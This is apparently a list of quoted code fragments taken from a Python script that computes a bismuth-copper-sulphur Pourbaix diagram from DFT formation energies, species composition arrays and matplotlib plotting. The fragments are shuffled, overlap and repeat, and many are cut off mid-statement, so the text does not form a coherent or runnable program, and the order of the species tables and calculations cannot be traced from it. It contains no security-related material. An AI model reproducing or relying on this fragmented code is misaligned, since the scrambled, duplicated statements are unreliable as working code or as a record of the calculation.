"#Bismuth species[13,4]=1 species[14,4]=2 species[15,4]=2 species[16,4]=2 species[17,4]=4 species[18,4]=1 species[19,4]=1 species[20,4]=1 #Sulphur species[21,4]=0 species[22,4]=0 species[23,4]=0",
"color is found k=len(flag)+1 l=1 if(l==0): label='M1: '+str(muValues[i,j,0])+', M2: '+str(muValues[i,j,1])+' M3: '+str(muValues[i,j,2]) flag[index,0]",
"as np import matplotlib.pyplot as plt import random #For saving/importing data from numpy",
"species[8,2]=1 species[9,2]=2 species[10,2]=1 species[11,2]=2 species[12,2]=4 #Bi species[13,2]=0 species[14,2]=6 species[15,2]=10 species[16,2]=8 species[17,2]=14 species[18,2]=0 species[19,2]=1",
"species[53,3]=1 #BiSO species[54,3]=0 species[55,3]=0 species[56,3]=0 species[57,3]=0 species[58,3]=0 species[59,3]=0 #CuBiS species[60,3]=1 species[61,3]=4 species[62,3]=4 #BiCuSO",
"####################################################### #Cu species[0,1]=0.00; species[1,1]=2 species[2,1]=2 species[3,1]=1 species[4,1]=2 species[5,1]=2 species[6,1]=1 species[7,1]=2 species[8,1]=2 species[9,1]=2 species[10,1]=1",
"considered #populate with smaller values that will be calculated. muValues=np.zeros((n+1,n+1,4)) current_mu=int current_ele=int current_H=int",
"species[12,4]=0 #Bismuth species[13,4]=1 species[14,4]=2 species[15,4]=2 species[16,4]=2 species[17,4]=4 species[18,4]=1 species[19,4]=1 species[20,4]=1 #Sulphur species[21,4]=0 species[22,4]=0",
"#calculate the energies for each species number pH=lowpH+(i*pHcount); for j in range(1,n): U=Ulow+(j*Ucount);",
"[flag[k,3],flag[k,4],flag[k,5]],markersize=4) #break loop, the color is found k=len(flag)+1 l=1 elif(flag[k,0]==muValues[i,j,2] and flag[k,1]==muValues[i,j,0]and flag[k,2]==muValues[i,j,1]):",
"this combination of species if((species[k, 3]>0 or species[m, 3] >0 or species[p, 3])",
"Ee_Bi2O5= -40.1344765; Ee_Bi2O4=-36.7221975; Ee_Bi4O7=-68.40888; #PBEsol Ee_Cu=-4.3152965; Ee_CuO=-10.7488868; Ee_Cu2O=-14.99698; Ee_CuOH2_s=-25.1916025; #PBEsol Ee_O2=-10.281123 Ee_H2=-6.5141508 Ee_S=",
"species[64,6]=0 ########## Aqueous Ions?????? ################################################# #Copper species[0,7]=0 species[1,7]=0 species[2,7]=0 species[3,7]=1 species[4,7]=1 species[5,7]=1 species[6,7]=1",
"-2*(Ee_Bi+Fvib_Bi)-(Ee_S+Fvib_S)-1.0*((Ee_O2)-Ftot_O2); dGf_BiSCuO=(Ee_BiSCuO+Fvib_BiSCuO) -(Ee_Cu+Fvib_Cu)-(Ee_Bi+Fvib_Bi)-(Ee_S+Fvib_S)-0.5*((Ee_O2)-Ftot_O2); dGf_Cu3BiS3=(Ee_Cu3BiS3+Fvib_Cu3BiS3) -3*(Ee_Cu+Fvib_Cu)-(Ee_Bi+Fvib_Bi)-3*(Ee_S+Fvib_S); dGf_Cu4Bi4S9=(Ee_Cu4Bi4S9+Fvib_Cu4Bi4S9) -4*(Ee_Cu+Fvib_Cu)-4*(Ee_Bi+Fvib_Bi)-9*(Ee_S+Fvib_S); dGf_Cu4BiS2_5=(Ee_Cu4BiS2_5+Fvib_Cu4BiS2_5)-4*(Ee_Cu+Fvib_Cu)-5*(Ee_Bi+Fvib_Bi)-10*(Ee_S+Fvib_S); dGf_CuBiS2=(Ee_CuBiS2+Fvib_CuBiS2) -(Ee_Cu+Fvib_Cu)-(Ee_Bi+Fvib_Bi)-2*(Ee_S+Fvib_S); #Set the reference",
"of Coppers Cu ############################################## #Cu species[0,3]=1 species[1,3]=1 species[2,3]=2 species[3,3]=1 species[4,3]=1 species[5,3]=1 species[6,3]=1 species[7,3]=1",
"P=1; #bar, 10^5*Pa eta=6 nI=10**-eta; #Activity Concentration #Array showing the composition of Cu:Bi:S",
"#Aqueous Ions combos[combo_num, 7, 0]=species[k,6] combos[combo_num, 7, 1]=species[m,6] combos[combo_num, 7, 2]=species[p,6] #Percent of",
"np.array([[species[k, 3],species[m, 3], species[p,3]], \\ [species[k, 4],species[m, 4], species[p,4]], \\ [species[k, 5],species[m, 5],",
"species[50,1]=0 species[51,1]=24 species[52,1]=0 species[53,1]=8 #BiSO species[54,1]=0 species[55,1]=0 species[56,1]=2 species[57,1]=24 species[58,1]=2 species[59,1]=4 #CuBiS species[60,1]=0",
"2, 2]=species[p,1] #H+ combos[combo_num, 3, 0]=species[k,2] combos[combo_num, 3, 1]=species[m,2] combos[combo_num, 3, 2]=species[p,2] #Number",
"species[55,6]=0 species[56,6]=1 species[57,6]=12 species[58,6]=1 species[59,6]=2 #CuBiS species[60,6]=0 species[61,6]=0 species[62,6]=0 #BiCuSO species[63,6]=1 species[64,6]=0 ##########",
"or (muValues[i,j,2]!=muValues[i-1,j,2])): ax.plot(pH,U,'.', color = [0.0,0.0,0.0],markersize=2) ax.plot(pHArray[:], muH[:],'c--',label='$H_2$',linewidth=1) ax.plot(pHArray[:], muH2O[:],'b--',label='$H_2O$', linewidth=1) plt.ylabel('Electric Potential,",
"# -*- coding: utf-8 -*- \"\"\" Created on Mon Jul 23 13:17:41 2018",
"species[42,7]=1 species[43,7]=1 species[44,7]=1 species[45,7]=1 species[46,7]=1 #CuSBiO species[47,7]=0 species[48,7]=0 species[49,7]=0 species[50,7]=0 species[51,7]=0 species[52,7]=0 species[53,7]=0",
"species[39,2]=6 species[40,2]=12 species[41,2]=6 species[42,2]=7 species[43,2]=8 species[44,2]=16 species[45,2]=9 species[46,2]=10 #CuSBiO species[47,2]=0 species[48,2]=0 species[49,2]=0 species[50,2]=0",
"#PBEsol Ee_Cu=-4.3152965; Ee_CuO=-10.7488868; Ee_Cu2O=-14.99698; Ee_CuOH2_s=-25.1916025; #PBEsol Ee_O2=-10.281123 Ee_H2=-6.5141508 Ee_S= -4.391811875; ############################################################################### ########### MULTICOMPONENT",
"species[7,2]=3 species[8,2]=1 species[9,2]=2 species[10,2]=1 species[11,2]=2 species[12,2]=4 #Bi species[13,2]=0 species[14,2]=6 species[15,2]=10 species[16,2]=8 species[17,2]=14 species[18,2]=0",
"each element is in this combination of species if((species[k, 3]>0 or species[m, 3]",
"flag[k,1]==muValues[i,j,1] and flag[k,2]==muValues[i,j,2]): ax.plot(pH,U,'.', color = [flag[k,3],flag[k,4],flag[k,5]],markersize=4) #break loop, the color is found",
"species[8,4]=0 species[9,4]=0 species[10,4]=0 species[11,4]=0 species[12,4]=0 #Bismuth species[13,4]=1 species[14,4]=2 species[15,4]=2 species[16,4]=2 species[17,4]=4 species[18,4]=1 species[19,4]=1",
"dGf_Bi2O5= ((Ee_Bi2O5)+Fvib_Bi2O5) -2.0*(Ee_Bi+Fvib_Bi)-2.5*(Ee_O2-Ftot_O2); dGf_Bi2O4= ((Ee_Bi2O4)+Fvib_Bi2O4) -2.0*(Ee_Bi+Fvib_Bi)-2.0*(Ee_O2-Ftot_O2); dGf_Bi4O7= ((Ee_Bi4O7)+Fvib_Bi4O7) -4.0*(Ee_Bi+Fvib_Bi)-3.5*(Ee_O2-Ftot_O2); dGf_Cu2S=(Ee_Cu2S+Fvib_Cu2S) -2*(Ee_Cu+Fvib_Cu)-(Ee_S+Fvib_S); dGf_Cu7S4=(Ee_Cu7S4+Fvib_Cu7S4) -7*(Ee_Cu+Fvib_Cu)-4*(Ee_S+Fvib_S);",
"-4.0*(Ee_Bi+Fvib_Bi)-3.5*(Ee_O2-Ftot_O2); dGf_Cu2S=(Ee_Cu2S+Fvib_Cu2S) -2*(Ee_Cu+Fvib_Cu)-(Ee_S+Fvib_S); dGf_Cu7S4=(Ee_Cu7S4+Fvib_Cu7S4) -7*(Ee_Cu+Fvib_Cu)-4*(Ee_S+Fvib_S); dGf_CuS=(Ee_CuS+Fvib_CuS) -(Ee_Cu+Fvib_Cu)-(Ee_S+Fvib_S); dGf_CuS2=(Ee_CuS2+Fvib_CuS2) -(Ee_Cu+Fvib_Cu)-2*(Ee_S+Fvib_S); dGf_Cu2SO4_3=(Ee_Cu2SO4_3+Fvib_Cu2SO4_3) -2*(Ee_Cu+Fvib_Cu)-3*(Ee_S+Fvib_S)-6.0*((Ee_O2)-Ftot_O2); dGf_BiCu=(Ee_BiCu+Fvib_BiCu) -(Ee_Cu+Fvib_Cu)-(Ee_Bi+Fvib_Bi);",
"5, 0]=species[k,4] combos[combo_num, 5, 1]=species[m,4] combos[combo_num, 5, 2]=species[p,4] #Number H2O combos[combo_num, 6, 0]=species[k,5]",
"for k in range(0, combo_num): p=int(combos[k,0,0]); m=int(combos[k,0,1]); s=int(combos[k,0,2]); f1=combos[k,8,0]; f2=combos[k,8,1]; f3=combos[k,8,2]; #The first",
"#Contributions by <NAME> #For reactions in aqueous conditions #find out how much detail",
"Aqueous Ion Free Energies of Formation ######################### #Free Energies of Formation in eV/f.u.",
"elif(flag[k,0]==muValues[i,j,2] and flag[k,1]==muValues[i,j,0]and flag[k,2]==muValues[i,j,1]): ax.plot(pH,U,'.', color = [flag[k,3],flag[k,4],flag[k,5]],markersize=4) #break loop, the color is",
"species[59,4]=2 #CuBiS species[60,4]=1 species[61,4]=4 species[62,4]=5 #BiCuSO species[63,4]=1 species[64,4]=1 ########### Number of Sulphurs S",
"species[52,5]=0 species[53,5]=0 #BiSO species[54,5]=2 species[55,5]=3 species[56,5]=2 species[57,5]=3 species[58,5]=24 species[59,5]=1 #CuBiS species[60,5]=2 species[61,5]=9 species[62,5]=10",
"k in range(0, len(flag)): if(flag[k,0]==muValues[i,j,0] and flag[k,1]==muValues[i,j,1] and flag[k,2]==muValues[i,j,2]): ax.plot(pH,U,'.', color = [flag[k,3],flag[k,4],flag[k,5]],markersize=4)",
"species[20,5]=0 #Sulphur species[21,5]=1 species[22,5]=1 species[23,5]=1 species[24,5]=1 species[25,5]=2 species[26,5]=3 species[27,5]=4 species[28,5]=5 species[29,5]=2 species[30,5]=2 species[31,5]=2",
"= random.random(); flag[index,4] = random.random(); flag[index,5] = random.random(); ax.plot(pH,U,'.', color = [flag[index,3],flag[index,4],flag[index,5]],markersize=4,label=label) index=index+1;",
"#Sulphur species[21,4]=0 species[22,4]=0 species[23,4]=0 species[24,4]=0 species[25,4]=0 species[26,4]=0 species[27,4]=0 species[28,4]=0 species[29,4]=0 species[30,4]=0 species[31,4]=0 species[32,4]=0",
"energies ############################ ############################################################################### #Free Energies of Formation in eV/f.u. dGf_CuO= (Ee_CuO+Fvib_CuO) -(Ee_Cu+Fvib_Cu) -",
"i in range(0, n+1): #calculate the energies for each species number pH=lowpH+(i*pHcount); for",
"############################################################## ax.plot(pHArray[:], muH[:],'c--',label='$H_2$',linewidth=1) ax.plot(pHArray[:], muH2O[:],'b--',label='$H_2O$', linewidth=1) ax.legend(loc='upper center', bbox_to_anchor=(1.3, 0.9), ncol=1) plt.ylabel('Electric Potential,",
"<NAME>, 2018-2020 #Contributions by <NAME> #For reactions in aqueous conditions #find out how",
"current_H=int current_H2O=int current_aquI=int current_NumEle=int sort=np.zeros((3,1)) #fill in the grid. Calculate for i in",
"species[13,2]=0 species[14,2]=6 species[15,2]=10 species[16,2]=8 species[17,2]=14 species[18,2]=0 species[19,2]=1 species[20,2]=2 #S species[21,2]=0 species[22,2]=-2 species[23,2]=-1 species[24,2]=0",
"dGf_Cu1= dGf_Cu1*F; dGf_Cu2= dGf_Cu2*F; dGf_CuOH4_2= dGf_CuOH4_2*F; dGf_CuOH2_minus= dGf_CuOH2_minus*F; dGf_CuOH3= dGf_CuOH3*F; dGf_CuOH_Plus= dGf_CuOH_Plus*F; dGf_CuOH2=",
"<NAME> #For reactions in aqueous conditions #find out how much detail you want",
"for j in range(1, 20): #Is there a linear combination of the elements",
"plt.ylabel('Electric Potential, E(V)') plt.xlabel('pH') plt.title('Bi-Cu-S Pourbaix Diagram, $\\eta_{Bi,Cu,S}=10^{-'+str(eta)+'}$, '+str(composition[0])+'Cu:' +str(composition[1])+'Bi:'+str(composition[2])+'S') chartBox=ax.get_position() ax.set_position([chartBox.x0, chartBox.y0,",
"species[46,3]=0 #CuBiSO species[47,3]=2 species[48,3]=7 species[49,3]=1 species[50,3]=1 species[51,3]=2 species[52,3]=1 species[53,3]=1 #BiSO species[54,3]=0 species[55,3]=0 species[56,3]=0",
"nI=10**-eta; #Activity Concentration #Array showing the composition of Cu:Bi:S composition=np.array([1,1,1]) #pH Range and",
"species[40,3]=0 species[41,3]=0 species[42,3]=0 species[43,3]=0 species[44,3]=0 species[45,3]=0 species[46,3]=0 #CuBiSO species[47,3]=2 species[48,3]=7 species[49,3]=1 species[50,3]=1 species[51,3]=2",
"species[47,1]=0 species[48,1]=0 species[49,1]=0 species[50,1]=0 species[51,1]=24 species[52,1]=0 species[53,1]=8 #BiSO species[54,1]=0 species[55,1]=0 species[56,1]=2 species[57,1]=24 species[58,1]=2",
"species[m, 3] >0 or species[p, 3]) \\ and (species[k, 4]>0 or species[m, 4]",
"= 16; pHrange = int; pHrange = highpH-lowpH; pHcount = pHrange/n; #used to",
"Bi ############################################# #Copper species[0,4]=0 species[1,4]=0 species[2,4]=0 species[3,4]=0 species[4,4]=0 species[5,4]=0 species[6,4]=0 species[7,4]=0 species[8,4]=0 species[9,4]=0",
"species[30,1]=4 species[31,1]=4 species[32,1]=10 species[33,1]=10 species[34,1]=6 species[35,1]=6 species[36,1]=10 species[37,1]=4 species[38,1]=4 species[39,1]=4 species[40,1]=10 species[41,1]=6 species[42,1]=6",
"Ucount = Urange/n; #used to iterate through U (energy) range ############################################################################### ######################## DFT",
"parameters, break loops t=0; h=40; i=40; j=40; #If there is a linear combination,",
"species[15,2]=10 species[16,2]=8 species[17,2]=14 species[18,2]=0 species[19,2]=1 species[20,2]=2 #S species[21,2]=0 species[22,2]=-2 species[23,2]=-1 species[24,2]=0 species[25,2]=0 species[26,2]=0",
"the mu current_eng=species[p,0] current_ele=F*U*(species[p,1]) current_H=R*T*np.log(10.0)*pH*(species[p,2]) current_H2O=dGf_H2O*(species[p,6]) current_aquI=R*T*np.log(nI)*(species[p,7]) current_NumEle=1 for t in range(3,6): if(species[p,t]>1):",
"0]=species[k,3] combos[combo_num, 4, 1]=species[m,3] combos[combo_num, 4, 2]=species[p,3] #Number Bismuth combos[combo_num, 5, 0]=species[k,4] combos[combo_num,",
"that will allow #For the if(((h*a[0,0]+i*a[0,1]+j*a[0,2])/(h*a[1,0]+i*a[1,1]+j*a[1,2]))==composition[0]/composition[1] and \\ ((h*a[1,0]+i*a[1,1]+j*a[1,2])/(h*a[2,0]+i*a[2,1]+j*a[2,2]))==composition[1]/composition[2] and \\ ((h*a[0,0]+i*a[0,1]+j*a[0,2])/(h*a[2,0]+i*a[2,1]+j*a[2,2]))==composition[0]/composition[2]): #save",
"species[44,0]=dGf_S2O8_2Minus species[45,0]=dGf_HSO5_Minus species[46,0]=dGf_S2O5_2Minus species[47,0]=dGf_Cu2S species[48,0]=dGf_Cu7S4 species[49,0]=dGf_CuS species[50,0]=dGf_CuS2 species[51,0]=dGf_Cu2SO4_3 species[52,0]=dGf_BiCu species[53,0]=dGf_CuBiO2_2 species[54,0]=dGf_BiS2 species[55,0]=dGf_Bi2S3 species[56,0]=dGf_Bi2S2O",
"combos array. if (t==0): #print(str(combo_num)+': Species1: '+str(k)+', Species2: '+str(m)+'\\n') #Species Number combos[combo_num, 0,",
"4, 1]=species[m,3] combos[combo_num, 4, 2]=species[p,3] #Number Bismuth combos[combo_num, 5, 0]=species[k,4] combos[combo_num, 5, 1]=species[m,4]",
"4]) \\ and (species[k, 5]>0 or species[m, 5] >0 or species[p, 5])): #save",
"species[40,5]=2 species[41,5]=1 species[42,5]=1 species[43,5]=1 species[44,5]=2 species[45,5]=1 species[46,5]=2 #CuSBiO species[47,5]=1 species[48,5]=4 species[49,5]=1 species[50,5]=2 species[51,5]=3",
"\") n=30; #Constants R=8.31447; #kJ/(mol*K) T=298.15; #K F= 9.648533*10**4; #kJ/(V*mol) P=1; #bar, 10^5*Pa",
"Potential Range and Constants Ulow = -1.5; #V Uhigh = 1.5; #V Urange",
"ax.plot(pH,U,'.', color = [flag[index,3],flag[index,4],flag[index,5]],markersize=4,label=label) index=index+1; #####Plot H2O and H2 lines################################## muH=np.zeros((pHrange+1)); muH2O=np.zeros((pHrange+1)); pHArray=np.zeros((pHrange+1));",
"pHrange/n; #used to iterate through pH range #Applied Potential Range and Constants Ulow",
"color = [0.0,0.0,0.0],markersize=2) ax.plot(pHArray[:], muH[:],'c--',label='$H_2$',linewidth=1) ax.plot(pHArray[:], muH2O[:],'b--',label='$H_2O$', linewidth=1) plt.ylabel('Electric Potential, E(V)') plt.xlabel('pH') plt.title('Bi-Cu-S",
"species[52,3]=1 species[53,3]=1 #BiSO species[54,3]=0 species[55,3]=0 species[56,3]=0 species[57,3]=0 species[58,3]=0 species[59,3]=0 #CuBiS species[60,3]=1 species[61,3]=4 species[62,3]=4",
"k in range(0, len(species)): for m in range(0, len(species)): for p in range(0,",
"species[13,1]=0 species[14,1]=6 species[15,1]=10 species[16,1]=8 species[17,1]=14 species[18,1]=3 species[19,1]=3 species[20,1]=3 #S species[21,1]=0 species[22,1]=-2 species[23,1]=-2 species[24,1]=-2",
"species[18,2]=0 species[19,2]=1 species[20,2]=2 #S species[21,2]=0 species[22,2]=-2 species[23,2]=-1 species[24,2]=0 species[25,2]=0 species[26,2]=0 species[27,2]=0 species[28,2]=0 species[29,2]=6",
"a=np.sort(sort[:,0]) muValues[i,j,0]=a[0] muValues[i,j,1]=a[1] muValues[i,j,2]=a[2] muValues[i,j,3]=current_mu ############################################################################### ############################################################################### ############################################################################### ############################################################################### ################### Plot Pourbaix Diagram",
"H2O's ##################################################### #Copper species[0,6]=0 species[1,6]=1 species[2,6]=1 species[3,6]=0 species[4,6]=0 species[5,6]=4 species[6,6]=2 species[7,6]=3 species[8,6]=1 species[9,6]=2",
"species[10,1]=1 species[11,1]=4 species[12,1]=6 #Bi species[13,1]=0 species[14,1]=6 species[15,1]=10 species[16,1]=8 species[17,1]=14 species[18,1]=3 species[19,1]=3 species[20,1]=3 #S",
"combos[combo_num, 6, 0]=species[k,5] combos[combo_num, 6, 1]=species[m,5] combos[combo_num, 6, 2]=species[p,5] #Aqueous Ions combos[combo_num, 7,",
"species[25,3]=0 species[26,3]=0 species[27,3]=0 species[28,3]=0 species[29,3]=0 species[30,3]=0 species[31,3]=0 species[32,3]=0 species[33,3]=0 species[34,3]=0 species[35,3]=0 species[36,3]=0 species[37,3]=0",
"current_ele=F*U*(species[m,1]) current_H=R*T*np.log(10.0)*pH*(species[m,2]) current_H2O=dGf_H2O*(species[m,6]) current_aquI=R*T*np.log(nI)*(species[m,7]) current_NumEle=1 for t in range(3,6): if(species[m,t]>1): current_NumEle=current_NumEle*species[m,t]; current_mu=current_mu+f2*((current_eng+current_aquI-current_ele-current_H-current_H2O)/current_NumEle); #The",
"long as there are specicies considered #populate with smaller values that will be",
"(species[k, 4]>0 or species[m, 4] >0 or species[p, 4]) \\ and (species[k, 5]>0",
"muH2O[i]=1.23-0.059*pHArray[i]; pHArray[pHrange] =lowpH+(pHrange); muH[pHrange]=-0.059*pHArray[pHrange]; muH2O[pHrange]=1.23-0.059*pHArray[pHrange]; ############################################################## ax.plot(pHArray[:], muH[:],'c--',label='$H_2$',linewidth=1) ax.plot(pHArray[:], muH2O[:],'b--',label='$H_2O$', linewidth=1) ax.legend(loc='upper center',",
"F_H = .202; Fvib_S=-0.0091266451372 Fvib_CuO=0.062498987735 Fvib_Cu2O=0.00507624852 Fvib_Cu=-0.007167374680 Fvib_CuOH2_s=0.66653026525 Fvib_Bi=-0.0761976993239 Fvib_Bi2O3=-0.057653546889 Fvib_Bi2O5=0.14677315404 Fvib_Bi2O4=0.12231438709 Fvib_Bi4O7=0.08741679245",
"[flag[k,3],flag[k,4],flag[k,5]],markersize=4) #break loop, the color is found k=len(flag)+1 l=1 if(l==0): label='M1: '+str(muValues[i,j,0])+', M2:",
"multi-element species in this combination if(flag==1): #test each linear combination for h in",
"species[46,2]=10 #CuSBiO species[47,2]=0 species[48,2]=0 species[49,2]=0 species[50,2]=0 species[51,2]=24 species[52,2]=0 species[53,2]=8 #BiSO species[54,2]=0 species[55,2]=0 species[56,2]=2",
"in range(0, len(species)): #Check to make sure each element is in this combination",
"a = np.array([[species[k, 3],species[m, 3], species[p,3]], \\ [species[k, 4],species[m, 4], species[p,4]], \\ [species[k,",
"pairs for k in range(0, combo_num): p=int(combos[k,0,0]); m=int(combos[k,0,1]); s=int(combos[k,0,2]); f1=combos[k,8,0]; f2=combos[k,8,1]; f3=combos[k,8,2]; #The",
"##Elemental Copper Species dGf_Cu1= 0.506502 dGf_Cu2= 0.674092 dGf_CuOH2_minus= -3.4518209 dGf_CuOH3= -5.1197432 dGf_CuOH_Plus= -1.3127387",
"species[48,1]=0 species[49,1]=0 species[50,1]=0 species[51,1]=24 species[52,1]=0 species[53,1]=8 #BiSO species[54,1]=0 species[55,1]=0 species[56,1]=2 species[57,1]=24 species[58,1]=2 species[59,1]=4",
"for p in range(0, len(species)): #Check to make sure each element is in",
"species contains a single element. This is a really long call. flag=1 if((species[k,",
"############################################# #Copper species[0,4]=0 species[1,4]=0 species[2,4]=0 species[3,4]=0 species[4,4]=0 species[5,4]=0 species[6,4]=0 species[7,4]=0 species[8,4]=0 species[9,4]=0 species[10,4]=0",
"H2O and H2 lines################################## muH=np.zeros((pHrange+1)); muH2O=np.zeros((pHrange+1)); pHArray=np.zeros((pHrange+1)); for i in range(0, pHrange): pHArray[i]",
"i in range(1, 20): for j in range(1, 20): #Is there a linear",
"species[7,1]=2 species[8,1]=2 species[9,1]=2 species[10,1]=1 species[11,1]=4 species[12,1]=6 #Bi species[13,1]=0 species[14,1]=6 species[15,1]=10 species[16,1]=8 species[17,1]=14 species[18,1]=3",
"dGf_Cu2S=(Ee_Cu2S+Fvib_Cu2S) -2*(Ee_Cu+Fvib_Cu)-(Ee_S+Fvib_S); dGf_Cu7S4=(Ee_Cu7S4+Fvib_Cu7S4) -7*(Ee_Cu+Fvib_Cu)-4*(Ee_S+Fvib_S); dGf_CuS=(Ee_CuS+Fvib_CuS) -(Ee_Cu+Fvib_Cu)-(Ee_S+Fvib_S); dGf_CuS2=(Ee_CuS2+Fvib_CuS2) -(Ee_Cu+Fvib_Cu)-2*(Ee_S+Fvib_S); dGf_Cu2SO4_3=(Ee_Cu2SO4_3+Fvib_Cu2SO4_3) -2*(Ee_Cu+Fvib_Cu)-3*(Ee_S+Fvib_S)-6.0*((Ee_O2)-Ftot_O2); dGf_BiCu=(Ee_BiCu+Fvib_BiCu) -(Ee_Cu+Fvib_Cu)-(Ee_Bi+Fvib_Bi); dGf_CuBiO2_2=(Ee_CuBiO2_2+Fvib_CuBiO2_2)",
"species[32,0]=dGf_S5O6_2Minus species[33,0]=dGf_S4O6_2Minus species[34,0]=dGf_HS2O4_Minus species[35,0]=dGf_S2O4_2Minus species[36,0]=dGf_S3O6_2Minus species[37,0]=dGf_H2SO3 species[38,0]=dGf_HSO3_Minus species[39,0]=dGf_SO3_2Minus species[40,0]=dGf_S2O6_2Minus species[41,0]=dGf_H2SO4 species[42,0]=dGf_HSO4_Minus species[43,0]=dGf_SO4_2Minus species[44,0]=dGf_S2O8_2Minus",
"load #Created by <NAME>, 2018-2020 #Contributions by <NAME> #For reactions in aqueous conditions",
"==0) or \\ (species[m, 3]==0 and species[p, 3] ==0) or \\ (species[k, 3]==0",
"#Go through all species, commpare all pairs for k in range(0, combo_num): p=int(combos[k,0,0]);",
"#Sulphur species[21,5]=1 species[22,5]=1 species[23,5]=1 species[24,5]=1 species[25,5]=2 species[26,5]=3 species[27,5]=4 species[28,5]=5 species[29,5]=2 species[30,5]=2 species[31,5]=2 species[32,5]=5",
"as plt import random #For saving/importing data from numpy import asarray from numpy",
"############################################################################### flag = np.zeros((50,6)) # The first 4 indexes are the materials stored,",
"current_aquI=int current_NumEle=int sort=np.zeros((3,1)) #fill in the grid. Calculate for i in range(0, n+1):",
"########### ############################################################################### t=1 flag=1 f_total=int; f=np.zeros((3)) combos=np.zeros((45000,9,3)) combo_num=0 combos[combo_num, 0, 0]=-1 combos[combo_num, 0,",
"species[39,4]=0 species[40,4]=0 species[41,4]=0 species[42,4]=0 species[43,4]=0 species[44,4]=0 species[45,4]=0 species[46,4]=0 #CuSBiO species[47,4]=0 species[48,4]=0 species[49,4]=0 species[50,4]=0",
"this combination if(flag==1): #test each linear combination for h in range(1, 20): for",
"to determine species combinations try: combos=load('BiCuOS-speciesCombo.npy') num=load('BiCuOS-numberSpecies.npy') combo_num=int(num[0]) except OSError: print('Cannot Open File')",
"muValues=np.zeros((n+1,n+1,4)) current_mu=int current_ele=int current_H=int current_H2O=int current_aquI=int current_NumEle=int sort=np.zeros((3,1)) #fill in the grid. Calculate",
"metastable phases for i in range(1, n): #calculate the energies for each species",
"species[54,7]=0 species[55,7]=0 species[56,7]=0 species[57,7]=0 species[58,7]=0 species[59,7]=0 #CuBiS species[60,7]=0 species[61,7]=0 species[62,7]=0 #BiCuSO species[63,7]=0 species[64,7]=0",
"species[32,6]=6 species[33,6]=6 species[34,6]=4 species[35,6]=4 species[36,6]=6 species[37,6]=3 species[38,6]=3 species[39,6]=3 species[40,6]=6 species[41,6]=4 species[42,6]=4 species[43,6]=4 species[44,6]=8",
"= [0.0,0.0,0.0],markersize=2) elif((muValues[i,j,2]!=muValues[i,j-1,2]) or (muValues[i,j,2]!=muValues[i-1,j,2])): ax.plot(pH,U,'.', color = [0.0,0.0,0.0],markersize=2) ax.plot(pHArray[:], muH[:],'c--',label='$H_2$',linewidth=1) ax.plot(pHArray[:], muH2O[:],'b--',label='$H_2O$',",
"0]=species[k,6] combos[combo_num, 7, 1]=species[m,6] combos[combo_num, 7, 2]=species[p,6] #Percent of each in species in",
"#Function to determine species combinations try: combos=load('BiCuOS-speciesCombo.npy') num=load('BiCuOS-numberSpecies.npy') combo_num=int(num[0]) except OSError: print('Cannot Open",
"@author: laurenwalters \"\"\" import numpy as np import matplotlib.pyplot as plt import random",
"[0.0,0.0,0.0],markersize=2) elif((muValues[i,j,0]!=muValues[i,j-1,0]) or (muValues[i,j,1]!=muValues[i,j-1,1])): ax.plot(pH,U,'.', color = [0.0,0.0,0.0],markersize=2) elif((muValues[i,j,2]!=muValues[i,j-1,2]) or (muValues[i,j,2]!=muValues[i-1,j,2])): ax.plot(pH,U,'.', color",
"Fvib_Cu=-0.007167374680 Fvib_CuOH2_s=0.66653026525 Fvib_Bi=-0.0761976993239 Fvib_Bi2O3=-0.057653546889 Fvib_Bi2O5=0.14677315404 Fvib_Bi2O4=0.12231438709 Fvib_Bi4O7=0.08741679245 Fvib_Cu2S=-0.0050937891364 Fvib_Cu7S4=-0.178002185722 Fvib_CuS=-0.0119849701814 Fvib_CuS2=-0.0033060080158 Fvib_Cu2SO4_3=1.00135494361 Fvib_BiCu=-0.11006963132",
"species[41,5]=1 species[42,5]=1 species[43,5]=1 species[44,5]=2 species[45,5]=1 species[46,5]=2 #CuSBiO species[47,5]=1 species[48,5]=4 species[49,5]=1 species[50,5]=2 species[51,5]=3 species[52,5]=0",
"Urange/n; #used to iterate through U (energy) range ############################################################################### ######################## DFT CALCULATIONS #####################################",
"species[55,0]=dGf_Bi2S3 species[56,0]=dGf_Bi2S2O species[57,0]=dGf_Bi2SO4_3 species[58,0]=dGf_Bi14OS24 species[59,0]=dGf_Bi2SO2 species[60,0]=dGf_CuBiS2 species[61,0]=dGf_Cu4Bi4S9 species[62,0]=dGf_Cu4BiS2_5 species[63,0]=dGf_BiSCuO species[64,0]=dGf_Cu3BiS3 ######## Electron Count",
"Species '+str(k)+', Species2: '+str(m)+', Species3: '+str(p)+'\\n') t=1 t=0 #If there is at least",
"mesh grid detail you want, suggested (30-140): \") n=30; #Constants R=8.31447; #kJ/(mol*K) T=298.15;",
"find the composition though linear algebra. try: f=np.linalg.solve(a, composition) except: #print('Error: Species '+str(k)+',",
"and flag[k,1]==muValues[i,j,1]and flag[k,2]==muValues[i,j,0]): ax.plot(pH,U,'.', color = [flag[k,3],flag[k,4],flag[k,5]],markersize=4) #break loop, the color is found",
"##################################################### ############################################################################### #Vibrational Energies in eV/f.u. #From PBEsol Phonon Calculations Fvib_O2=-0.272; F_rot_trans_O2=0.099; Ftot_O2=Fvib_O2+F_rot_trans_O2;",
"muValues[i,j,2]=-1 muValues[i,j,3]=100000000 #Go through all species, commpare all pairs for k in range(0,",
"==0) or \\ (species[m, 4]==0 and species[p, 4] ==0) or \\ (species[k, 4]==0",
"species[p, 3] ==0)): if((species[k, 4]==0 and species[m, 4] ==0) or \\ (species[m, 4]==0",
".202; Fvib_S=-0.0091266451372 Fvib_CuO=0.062498987735 Fvib_Cu2O=0.00507624852 Fvib_Cu=-0.007167374680 Fvib_CuOH2_s=0.66653026525 Fvib_Bi=-0.0761976993239 Fvib_Bi2O3=-0.057653546889 Fvib_Bi2O5=0.14677315404 Fvib_Bi2O4=0.12231438709 Fvib_Bi4O7=0.08741679245 Fvib_Cu2S=-0.0050937891364 Fvib_Cu7S4=-0.178002185722",
